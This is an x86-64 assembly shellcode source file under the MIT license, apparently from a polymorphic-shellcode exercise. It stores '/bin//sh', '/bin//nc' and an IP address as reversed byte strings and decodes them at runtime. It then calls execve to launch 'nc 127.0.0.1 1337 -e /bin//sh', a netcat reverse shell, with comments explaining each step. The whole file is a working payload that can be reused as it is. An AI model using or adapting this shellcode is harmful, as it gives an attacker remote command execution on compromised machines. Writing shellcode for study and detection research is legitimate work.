84 lines
No EOL
2 KiB
Text
84 lines
No EOL
2 KiB
Text
;The MIT License (MIT)
|
|
|
|
;Copyright (c) 2017 Robert L. Taylor
|
|
|
|
;Permission is hereby granted, free of charge, to any person obtaining a
|
|
;copy of this software and associated documentation files (the “Software”),
|
|
;to deal in the Software without restriction, including without limitation
|
|
;the rights to use, copy, modify, merge, publish, distribute, sublicense,
|
|
;and/or sell copies of the Software, and to permit persons to whom the
|
|
;Software is furnished to do so, subject to the following conditions:
|
|
|
|
;The above copyright notice and this permission notice shall be included
|
|
;in all copies or substantial portions of the Software.
|
|
|
|
;The Software is provided “as is”, without warranty of any kind, express or
|
|
;implied, including but not limited to the warranties of merchantability,
|
|
;fitness for a particular purpose and noninfringement. In no event shall the
|
|
;authors or copyright holders be liable for any claim, damages or other
|
|
;liability, whether in an action of contract, tort or otherwise, arising
|
|
;from, out of or in connection with the software or the use or other
|
|
;dealings in the Software.
|
|
; For a detailed explanation of this shellcode see my blog post:
|
|
; http://a41l4.blogspot.ca/2017/03/polynetcatrevshell1434.html
|
|
|
|
global _start
|
|
|
|
section .text
|
|
|
|
_start:
|
|
jmp next
|
|
sh:
|
|
db 0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f
|
|
nc:
|
|
db 0x63,0x6e,0x2f,0x2f,0x6e,0x69,0x62,0x2f
|
|
ip:
|
|
db 0x2e,0x30,0x2e,0x30,0x2e,0x37,0x32,0x31
|
|
handle:
|
|
pop rcx
|
|
lodsq
|
|
bswap rax
|
|
push rax
|
|
push rsp
|
|
push rcx
|
|
ret
|
|
next:
|
|
xor edx,edx
|
|
lea rsi,[rel sh]
|
|
push rdx
|
|
call handle
|
|
pop rbx
|
|
|
|
push rdx
|
|
call handle
|
|
pop rdi
|
|
|
|
push '1'
|
|
call handle
|
|
pop r12
|
|
|
|
push '1337'
|
|
push rsp
|
|
pop rcx
|
|
|
|
push rdx
|
|
push word '-e'
|
|
push rsp
|
|
pop rax
|
|
|
|
push rdx ; push null
|
|
push rbx ; '/bin//sh'
|
|
push rax ; '-e'
|
|
push rcx ; '1337'
|
|
push r12 ; '127.0.0.1'
|
|
push rdi ; '/bin//nc'
|
|
push rsp
|
|
pop rsi ; address of array of pointers to strings
|
|
|
|
; some magic to put 3b (59) into RAX
|
|
; note that this depends on the push "-e"
|
|
; and it's position on the stack
|
|
mov rax,[rsp + 48]
|
|
shr rax,8
|
|
sub rax,0x2a
|
|
syscall |